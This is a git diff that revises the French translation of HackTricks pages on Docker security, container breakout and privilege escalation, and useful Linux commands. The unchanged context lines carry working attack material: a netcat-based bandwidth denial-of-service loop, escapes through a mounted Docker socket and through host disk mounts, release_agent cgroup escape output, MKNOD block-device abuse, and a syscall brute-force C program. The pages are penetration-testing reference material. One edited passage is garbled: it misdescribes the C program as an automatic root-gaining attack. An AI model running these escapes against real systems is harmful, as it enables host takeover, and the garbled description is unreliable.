@@ -240,12 +240,12 @@ Ce mécanisme garantit que même si un processus à l'intérieur d'un conteneur ### AuthZ & AuthN -Dans Docker, un plugin d'autorisation joue un rôle crucial en matière de sécurité en décidant d'autoriser ou de bloquer les demandes au démon Docker. Cette décision est prise en examinant deux contextes clés : +Dans Docker, un plugin d'autorisation joue un rôle crucial en matière de sécurité en décidant d'autoriser ou de bloquer les demandes adressées au démon Docker. Cette décision est prise en examinant deux contextes clés : -* **Contexte d'authentification** : Cela inclut des informations complètes sur l'utilisateur, telles que son identité et la manière dont il s'est authentifié. +* **Contexte d'authentification** : Il inclut des informations complètes sur l'utilisateur, telles que son identité et la manière dont il s'est authentifié. * **Contexte de commande** : Il comprend toutes les données pertinentes liées à la demande effectuée. -Ces contextes garantissent que seules les demandes légitimes d'utilisateurs authentifiés sont traitées, renforçant la sécurité des opérations Docker. +Ces contextes aident à garantir que seules les demandes légitimes d'utilisateurs authentifiés sont traitées, renforçant ainsi la sécurité des opérations Docker. {% content-ref url="authz-and-authn-docker-access-authorization-plugin.md" %} [authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md) @@ -263,7 +263,7 @@ sudo apt-get install -y stress-ng && stress-ng --vm 1 --vm-bytes 1G --verify -t # While loop docker run -d --name malicious-container -c 512 busybox sh -c 'while true; do :; done' ``` -* **Déni de service de bande passante** +* Déni de service de bande passante ```bash nc -lvp 4444 >/dev/null & while true; do cat /dev/urandom | nc 4444; done ``` @@ -343,35 +343,84 @@ Dans les environnements Kubernetes, les secrets sont nativement pris en charge e ### gVisor -**gVisor** est un noyau d'application, écrit en Go, qui implémente une partie substantielle de la surface du système Linux. Il inclut un exécuteur [Open Container Initiative (OCI)](https://www.opencontainers.org) appelé `runsc` qui fournit une **frontière d'isolation entre l'application et le noyau hôte**. L'exécuteur `runsc` s'intègre à Docker et Kubernetes, facilitant l'exécution de conteneurs sandbox. +**gVisor** est un noyau d'application, écrit en Go, qui implémente une partie substantielle de la surface du système Linux. Il inclut un runtime de l'**Open Container Initiative (OCI)** appelé `runsc` qui fournit une **frontière d'isolation entre l'application et le noyau hôte**. Le runtime `runsc` s'intègre avec Docker et Kubernetes, facilitant l'exécution de conteneurs sandbox. {% embed url="https://github.com/google/gvisor" %} ### Kata Containers -**Kata Containers** est une communauté open source travaillant à construire un exécuteur de conteneurs sécurisé avec des machines virtuelles légères qui se comportent et fonctionnent comme des conteneurs, mais offrent une **isolation de charge de travail plus forte en utilisant la technologie de virtualisation matérielle** comme une deuxième couche de défense. +**Kata Containers** est une communauté open source travaillant à construire un runtime de conteneur sécurisé avec des machines virtuelles légères qui se comportent et fonctionnent comme des conteneurs, mais offrent une **isolation de charge de travail plus forte en utilisant la technologie de virtualisation matérielle** comme une deuxième couche de défense. {% embed url="https://katacontainers.io/" %} ### Conseils Résumés * **Ne pas utiliser le drapeau `--privileged` ou monter un** [**socket Docker à l'intérieur du conteneur**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Le socket Docker permet de lancer des conteneurs, c'est donc un moyen facile de prendre le contrôle total de l'hôte, par exemple, en exécutant un autre conteneur avec le drapeau `--privileged`. -* Ne **pas exécuter en tant que root à l'intérieur du conteneur. Utiliser un** [**utilisateur différent**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **et les** [**espaces de noms utilisateur**](https://docs.docker.com/engine/security/userns-remap/)**.** Le root dans le conteneur est le même que sur l'hôte sauf s'il est remappé avec les espaces de noms utilisateur. Il est seulement légèrement restreint par, principalement, les espaces de noms Linux, les capacités et les cgroups. -* [**Supprimer toutes les capacités**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) et n'activer que celles qui sont nécessaires** (`--cap-add=...`). Beaucoup de charges de travail ne nécessitent aucune capacité et les ajouter augmente la portée d'une attaque potentielle. +* Ne pas exécuter en tant que root à l'intérieur du conteneur. Utiliser un [**utilisateur différent**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) et les [**espaces de noms utilisateur**](https://docs.docker.com/engine/security/userns-remap/). Le root dans le conteneur est le même que sur l'hôte sauf s'il est remappé avec les espaces de noms utilisateur. Il est seulement légèrement restreint par, principalement, les espaces de noms Linux, les capacités et les cgroups. +* [**Supprimer toutes les capacités**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) et n'activer que celles qui sont nécessaires** (`--cap-add=...`). Beaucoup de charges de travail n'ont pas besoin de capacités et les ajouter augmente la portée d'une attaque potentielle. * [**Utiliser l'option de sécurité “no-new-privileges”**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) pour empêcher les processus de gagner plus de privilèges, par exemple via des binaires suid. * [**Limitez les ressources disponibles pour le conteneur**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** Les limites de ressources peuvent protéger la machine contre les attaques de déni de service. * **Ajuster les profils** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(ou SELinux)** pour restreindre les actions et les appels système disponibles pour le conteneur au minimum requis. * **Utiliser des** [**images Docker officielles**](https://docs.docker.com/docker-hub/official_images/) **et exiger des signatures** ou construire les vôtres basées sur elles. Ne pas hériter ou utiliser des images [compromises](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/). Stocker également les clés racines, les phrases secrètes dans un endroit sûr. Docker a des plans pour gérer les clés avec UCP. -* **Reconstruire régulièrement** vos images pour **appliquer les correctifs de sécurité à l'hôte et aux images**. +* **Reconstruire régulièrement** vos images pour **appliquer les correctifs de sécurité sur l'hôte et les images**. * Gérez vos **secrets de manière judicieuse** pour qu'il soit difficile pour l'attaquant d'y accéder. * Si vous **exposez le démon Docker, utilisez HTTPS** avec une authentification client et serveur. -* Dans votre Dockerfile, **privilégiez COPY à la place de ADD**. ADD extrait automatiquement les fichiers compressés et peut copier des fichiers à partir d'URL. COPY n'a pas ces capacités. Dans la mesure du possible, évitez d'utiliser ADD pour ne pas être vulnérable aux attaques via des URL distantes et des fichiers Zip. +* Dans votre Dockerfile, **privilégiez COPY à la place de ADD**. ADD extrait automatiquement les fichiers zippés et peut copier des fichiers à partir d'URL. COPY n'a pas ces capacités. Dans la mesure du possible, évitez d'utiliser ADD pour ne pas être vulnérable aux attaques via des URL distantes et des fichiers Zip. * Avoir des **conteneurs séparés pour chaque micro-service**. -* **Ne pas mettre ssh** à l'intérieur du conteneur, "docker exec" peut être utilisé pour ssh vers le conteneur. -* Avoir des **images de conteneurs plus petites** -Autres façons de soutenir HackTricks : +* **Ne pas mettre ssh** à l'intérieur du conteneur, “docker exec” peut être utilisé pour ssh vers le conteneur. +* Avoir des **images de conteneurs plus petites**. -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +## Évasion / Élévation de privilèges Docker + +Si vous êtes **à l'intérieur d'un conteneur Docker** ou avez accès à un utilisateur dans le **groupe docker**, vous pourriez essayer de **vous échapper et d'escalader les privilèges**: + +{% content-ref url="docker-breakout-privilege-escalation/" %} +[docker-breakout-privilege-escalation](docker-breakout-privilege-escalation/) +{% endcontent-ref %} + +## Contournement du Plugin d'Authentification Docker + +Si vous avez accès au socket Docker ou avez accès à un utilisateur dans le **groupe docker mais que vos actions sont limitées par un plugin d'authentification Docker**, vérifiez si vous pouvez **le contourner**: + +{% content-ref url="authz-and-authn-docker-access-authorization-plugin.md" %} +[authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md) +{% endcontent-ref %} + +## Durcissement de Docker + +* L'outil [**docker-bench-security**](https://github.com/docker/docker-bench-security) est un script qui vérifie des dizaines de bonnes pratiques courantes autour du déploiement de conteneurs Docker en production. Les tests sont tous automatisés et sont basés sur le [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/).\ +Vous devez exécuter l'outil à partir de l'hôte exécutant Docker ou d'un conteneur avec suffisamment de privilèges. Découvrez **comment l'exécuter dans le README:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security). + +## Références + +* [https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/) +* [https://twitter.com/\_fel1x/status/1151487051986087936](https://twitter.com/\_fel1x/status/1151487051986087936) +* [https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html) +* [https://sreeninet.wordpress.com/2016/03/06/docker-security-part-1overview/](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-1overview/) +* [https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/) +* [https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/) +* [https://sreeninet.wordpress.com/2016/03/06/docker-security-part-4container-image/](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-4container-image/) +* [https://en.wikipedia.org/wiki/Linux\_namespaces](https://en.wikipedia.org/wiki/Linux\_namespaces) +* [https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57](https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57) +* [https://www.redhat.com/sysadmin/privileged-flag-container-engines](https://www.redhat.com/sysadmin/privileged-flag-container-engines) +* [https://docs.docker.com/engine/extend/plugins\_authorization](https://docs.docker.com/engine/extend/plugins\_authorization) +* [https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57](https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57) +* [https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/](https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/) + +
+ +\ +Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\ +Accédez dès aujourd'hui : + +{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} + +
+Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge HackTricks AWS)! + +D'autres façons de soutenir HackTricks: + +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** diff --git a/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md b/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md index 56d29d422..07b02f767 100644 --- a/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md +++ b/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md @@ -9,15 +9,15 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
+
\ -Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\ +Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des flux de travail** alimentés par les outils communautaires les plus avancés au monde.\ Accédez dès aujourd'hui : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -26,13 +26,13 @@ Accédez dès aujourd'hui : * [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS) : Il peut également **énumérer les conteneurs** * [**CDK**](https://github.com/cdk-team/CDK#installationdelivery) : Cet outil est assez **utile pour énumérer le conteneur dans lequel vous vous trouvez et même essayer de s'échapper automatiquement** -* [**amicontained**](https://github.com/genuinetools/amicontained) : Outil utile pour obtenir les privilèges du conteneur afin de trouver des moyens de s'échapper +* [**amicontained**](https://github.com/genuinetools/amicontained) : Outil utile pour obtenir les privilèges dont dispose le conteneur afin de trouver des moyens de s'échapper * [**deepce**](https://github.com/stealthcopter/deepce) : Outil pour énumérer et s'échapper des conteneurs * [**grype**](https://github.com/anchore/grype) : Obtenez les CVE contenus dans le logiciel installé dans l'image ## Évasion du Socket Docker Monté -Si vous découvrez que le **socket docker est monté** à l'intérieur du conteneur Docker, vous pourrez vous échapper.\ +Si vous découvrez que le **socket docker est monté** à l'intérieur du conteneur Docker, vous pourrez vous en échapper.\ Cela se produit généralement dans les conteneurs Docker qui, pour une raison quelconque, doivent se connecter au démon Docker pour effectuer des actions. ```bash #Search the socket @@ -57,7 +57,7 @@ docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --se Au cas où le **socket docker est à un emplacement inattendu**, vous pouvez toujours communiquer avec lui en utilisant la commande **`docker`** avec le paramètre **`-H unix:///chemin/vers/docker.sock`** {% endhint %} -Le démon Docker peut également [écouter sur un port (par défaut 2375, 2376)](../../../../network-services-pentesting/2375-pentesting-docker.md) ou sur les systèmes basés sur Systemd, la communication avec le démon Docker peut se faire via le socket Systemd `fd://`. +Le démon Docker peut également être [en écoute sur un port (par défaut 2375, 2376)](../../../../network-services-pentesting/2375-pentesting-docker.md) ou sur les systèmes basés sur Systemd, la communication avec le démon Docker peut se faire via le socket Systemd `fd://`. {% hint style="info" %} De plus, faites attention aux sockets d'exécution d'autres runtimes de haut niveau : @@ -70,7 +70,7 @@ De plus, faites attention aux sockets d'exécution d'autres runtimes de haut niv * ... {% endhint %} -## Évasion de l'abus des capacités +## Évasion de l'abus de capacités Vous devriez vérifier les capacités du conteneur, s'il possède l'une des suivantes, vous pourriez être en mesure de vous échapper : **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE, CAP_SYS_RAWIO`, `CAP_SYSLOG`, `CAP_NET_RAW`, `CAP_NET_ADMIN`** @@ -78,7 +78,7 @@ Vous pouvez vérifier les capacités actuelles du conteneur en utilisant les **o ```bash capsh --print ``` -Sur la page suivante, vous pouvez **en savoir plus sur les capacités de Linux** et comment les abuser pour échapper/escalader les privilèges : +Sur la page suivante, vous pouvez **en apprendre davantage sur les capacités de Linux** et comment les abuser pour échapper/escalader les privilèges : {% content-ref url="../../linux-capabilities.md" %} [linux-capabilities.md](../../linux-capabilities.md) @@ -122,11 +122,11 @@ docker run --rm -it --privileged ubuntu bash ``` #### Montage du disque - Poc1 -Les conteneurs Docker bien configurés n'autoriseront pas des commandes telles que **fdisk -l**. Cependant, sur une commande Docker mal configurée où le drapeau `--privileged` ou `--device=/dev/sda1` avec des privilèges est spécifié, il est possible d'obtenir les privilèges pour voir le lecteur hôte. +Les conteneurs Docker bien configurés ne permettront pas des commandes telles que **fdisk -l**. Cependant, sur une commande Docker mal configurée où le drapeau `--privileged` ou `--device=/dev/sda1` avec des capacités est spécifié, il est possible d'obtenir les privilèges pour voir le lecteur hôte. ![](https://bestestredteam.com/content/images/2019/08/image-16.png) -Ainsi, pour prendre le contrôle de la machine hôte, c'est trivial: +Donc, pour prendre le contrôle de la machine hôte, c'est trivial: ```bash mkdir -p /mnt/hola mount /dev/sda1 /mnt/hola @@ -135,7 +135,7 @@ Et voilà ! Vous pouvez désormais accéder au système de fichiers de l'hôte c #### Montage du disque - Poc2 -Au sein du conteneur, un attaquant peut tenter d'obtenir un accès supplémentaire au système d'exploitation hôte sous-jacent via un volume hostPath inscriptible créé par le cluster. Voici quelques éléments courants que vous pouvez vérifier dans le conteneur pour voir si vous pouvez exploiter ce vecteur d'attaque : +À l'intérieur du conteneur, un attaquant peut tenter d'obtenir un accès supplémentaire au système d'exploitation hôte sous-jacent via un volume hostPath inscriptible créé par le cluster. Voici quelques éléments courants que vous pouvez vérifier à l'intérieur du conteneur pour voir si vous pouvez exploiter ce vecteur d'attaque : ```bash ### Check if You Can Write to a File-system echo 1 > /proc/sysrq-trigger @@ -248,7 +248,7 @@ Trouvez une **explication de la technique** dans : #### Évasion des privilèges en abusant de release\_agent sans connaître le chemin relatif - PoC3 -Dans les exploits précédents, le **chemin absolu du conteneur à l'intérieur du système de fichiers de l'hôte est divulgué**. Cependant, ce n'est pas toujours le cas. Dans les cas où vous **ne connaissez pas le chemin absolu du conteneur à l'intérieur de l'hôte**, vous pouvez utiliser cette technique : +Dans les exploits précédents, le **chemin absolu du conteneur à l'intérieur du système de fichiers hôte est divulgué**. Cependant, ce n'est pas toujours le cas. Dans les cas où vous **ne connaissez pas le chemin absolu du conteneur à l'intérieur de l'hôte**, vous pouvez utiliser cette technique : {% content-ref url="release_agent-exploit-relative-paths-to-pids.md" %} [release\_agent-exploit-relative-paths-to-pids.md](release\_agent-exploit-relative-paths-to-pids.md) @@ -312,7 +312,7 @@ sleep 1 echo "Done! Output:" cat ${OUTPUT_PATH} ``` -L'exécution du PoC dans un conteneur privilégié devrait fournir une sortie similaire à : +Exécuter le PoC dans un conteneur privilégié devrait fournir une sortie similaire à : ```bash root@container:~$ ./release_agent_pid_brute.sh Checking pid 100 @@ -345,11 +345,11 @@ root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0] Il existe plusieurs fichiers qui pourraient être montés et qui donnent des **informations sur l'hôte sous-jacent**. Certains d'entre eux peuvent même indiquer **quelque chose à exécuter par l'hôte lorsqu'un événement se produit** (ce qui permettrait à un attaquant de s'échapper du conteneur).\ L'abus de ces fichiers peut permettre : -* release\_agent (déjà abordé précédemment) -* [binfmt\_misc](sensitive-mounts.md#proc-sys-fs-binfmt\_misc) -* [core\_pattern](sensitive-mounts.md#proc-sys-kernel-core\_pattern) -* [uevent\_helper](sensitive-mounts.md#sys-kernel-uevent\_helper) -* [modprobe](sensitive-mounts.md#proc-sys-kernel-modprobe) +- release\_agent (déjà abordé précédemment) +- [binfmt\_misc](sensitive-mounts.md#proc-sys-fs-binfmt\_misc) +- [core\_pattern](sensitive-mounts.md#proc-sys-kernel-core\_pattern) +- [uevent\_helper](sensitive-mounts.md#sys-kernel-uevent\_helper) +- [modprobe](sensitive-mounts.md#proc-sys-kernel-modprobe) Cependant, vous pouvez trouver **d'autres fichiers sensibles** à vérifier sur cette page : @@ -377,9 +377,9 @@ bash -p #From non priv inside mounted folder ### Élévation de privilèges avec 2 shells Si vous avez un accès en tant que **root à l'intérieur d'un conteneur** et que vous avez **échappé en tant qu'utilisateur non privilégié vers l'hôte**, vous pouvez abuser des deux shells pour **élever les privilèges à l'intérieur de l'hôte** si vous avez la capacité MKNOD à l'intérieur du conteneur (c'est par défaut) comme [**expliqué dans ce post**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\ -Avec une telle capacité, l'utilisateur root à l'intérieur du conteneur est autorisé à **créer des fichiers de périphériques blocs**. Les fichiers de périphériques sont des fichiers spéciaux utilisés pour **accéder au matériel sous-jacent et aux modules du noyau**. Par exemple, le fichier de périphérique bloc /dev/sda donne accès à **lire les données brutes sur le disque du système**. +Avec une telle capacité, l'utilisateur root à l'intérieur du conteneur est autorisé à **créer des fichiers de périphérique bloc**. Les fichiers de périphérique sont des fichiers spéciaux utilisés pour **accéder au matériel sous-jacent et aux modules du noyau**. Par exemple, le fichier de périphérique bloc /dev/sda donne accès à **lire les données brutes sur le disque du système**. -Docker se protège contre l'abus des fichiers de périphériques blocs à l'intérieur des conteneurs en imposant une politique cgroup qui **bloque les opérations de lecture/écriture des fichiers de périphériques blocs**. Néanmoins, si un fichier de périphérique bloc est **créé à l'intérieur du conteneur**, il devient accessible depuis l'extérieur du conteneur via le répertoire **/proc/PID/root/**. Cet accès nécessite que le **propriétaire du processus soit le même** à la fois à l'intérieur et à l'extérieur du conteneur. +Docker se protège contre l'abus des fichiers de périphérique bloc à l'intérieur des conteneurs en imposant une politique cgroup qui **bloque les opérations de lecture/écriture des fichiers de périphérique bloc**. Néanmoins, si un fichier de périphérique bloc est **créé à l'intérieur du conteneur**, il devient accessible depuis l'extérieur du conteneur via le répertoire **/proc/PID/root/**. Cet accès nécessite que le **propriétaire du processus soit le même** à la fois à l'intérieur et à l'extérieur du conteneur. Exemple d'**exploitation** de ce [**writeup**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/): ```bash @@ -454,9 +454,9 @@ Si vous avez d'une manière ou d'une autre un **accès privilégié sur un proce ``` docker run --rm -it --network=host ubuntu bash ``` -Si un conteneur est configuré avec le pilote de réseau Docker [host (`--network=host`)](https://docs.docker.com/network/host/), la pile réseau de ce conteneur n'est pas isolée de l'hôte Docker (le conteneur partage l'espace de nom réseau de l'hôte) et le conteneur ne reçoit pas d'adresse IP propre. En d'autres termes, le **conteneur lie tous les services directement à l'IP de l'hôte**. De plus, le conteneur peut **intercepter TOUT le trafic réseau que l'hôte** envoie et reçoit sur l'interface partagée `tcpdump -i eth0`. +Si un conteneur est configuré avec le pilote de réseau Docker [host (`--network=host`)](https://docs.docker.com/network/host/), la pile réseau de ce conteneur n'est pas isolée de l'hôte Docker (le conteneur partage l'espace réseau de l'hôte) et le conteneur ne reçoit pas d'adresse IP propre. En d'autres termes, le **conteneur lie tous les services directement à l'IP de l'hôte**. De plus, le conteneur peut **intercepter TOUT le trafic réseau que l'hôte** envoie et reçoit sur l'interface partagée `tcpdump -i eth0`. -Par exemple, vous pouvez utiliser cela pour **sniffer et même falsifier le trafic** entre l'hôte et l'instance de métadonnées. +Par exemple, vous pouvez utiliser cela pour **sniffer voire falsifier le trafic** entre l'hôte et l'instance de métadonnées. Comme dans les exemples suivants : @@ -489,7 +489,7 @@ La deuxième technique expliquée dans l'article [https://labs.withsecure.com/bl
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser des flux de travail** alimentés par les outils communautaires les plus avancés au monde.\ -Accédez dès aujourd'hui : +Accédez dès aujourd'hui à : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -519,7 +519,7 @@ Il existe d'autres CVE auxquelles le conteneur peut être vulnérable, vous pouv * **Espaces de noms :** Le processus doit être **complètement séparé des autres processus** via des espaces de noms, donc nous ne pouvons pas échapper à l'interaction avec d'autres processus en raison des espaces de noms (par défaut, ne peut pas communiquer via IPC, sockets Unix, services réseau, D-Bus, `/proc` d'autres processus). * **Utilisateur root :** Par défaut, l'utilisateur exécutant le processus est l'utilisateur root (cependant, ses privilèges sont limités). * **Capacités :** Docker laisse les capacités suivantes : `cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep` -* **Appels système :** Ce sont les appels système que l'**utilisateur root ne pourra pas appeler** (en raison du manque de capacités + Seccomp). Les autres appels système pourraient être utilisés pour tenter de s'échapper. +* **Appels système :** Ce sont les appels système que l'**utilisateur root ne pourra pas appeler** (en raison du manque de capacités + Seccomp). Les autres appels système pourraient être utilisés pour essayer de s'échapper. {% tabs %} {% tab title="Appels système x64" %} @@ -545,7 +545,7 @@ Il existe d'autres CVE auxquelles le conteneur peut être vulnérable, vous pouv ``` {% endtab %} -{% onglet title="appels système arm64" %} +{% onglet title = "appels système arm64" %} ``` 0x029 -- pivot_root 0x059 -- acct @@ -565,19 +565,7 @@ Il existe d'autres CVE auxquelles le conteneur peut être vulnérable, vous pouv ``` {% endtab %} -{% tab title="syscall_bf.c" %} - -## Évasion de Docker - Escalade de privilèges - -Ce script en langage C permet d'exécuter des appels système arbitraires dans un conteneur Docker pour échapper à la sécurité et escalader les privilèges. - -### Utilisation - -Compilez le script avec `gcc -static -o syscall_bf syscall_bf.c` et exécutez-le dans un conteneur Docker pour tester les vulnérabilités de sécurité. - -### Avertissement - -Ce script est à des fins éducatives uniquement. L'utilisation de ce script pour des activités malveillantes est illégale. +{% tab title="syscall_bf.c" %}Le code source suivant est un exemple de programme en C qui peut être utilisé pour effectuer une attaque de type "syscall brute force" afin d'obtenir un accès root non autorisé sur un système Linux. Ce programme tente de passer en revue toutes les valeurs possibles des appels système (syscalls) pour trouver celui qui lui permettra d'obtenir les privilèges root. Une fois le bon appel système trouvé, le programme l'exécute pour escalader ses privilèges. Cette technique est souvent utilisée lors de tests d'intrusion pour évaluer la sécurité d'un système. %} ````c // From a conversation I had with @arget131 // Fir bfing syscalss in x64 @@ -641,7 +629,7 @@ If you are in **userspace** (**no kernel exploit** involved) the way to find new * [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket) * [https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4](https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4) -
+
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ Get Access Today: @@ -657,7 +645,7 @@ Other ways to support HackTricks: * If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. diff --git a/linux-hardening/useful-linux-commands/README.md b/linux-hardening/useful-linux-commands/README.md index 23fe7deca..fbb0f6c9a 100644 --- a/linux-hardening/useful-linux-commands/README.md +++ b/linux-hardening/useful-linux-commands/README.md @@ -1,6 +1,6 @@ # Commandes Linux Utiles -
+
\ Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement** des flux de travail alimentés par les outils communautaires les plus avancés au monde.\ @@ -14,10 +14,10 @@ Accédez dès aujourd'hui : Autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. @@ -141,11 +141,11 @@ sudo chattr -i file.txt #Remove the bit so you can delete it # List files inside zip 7z l file.zip ``` -
+
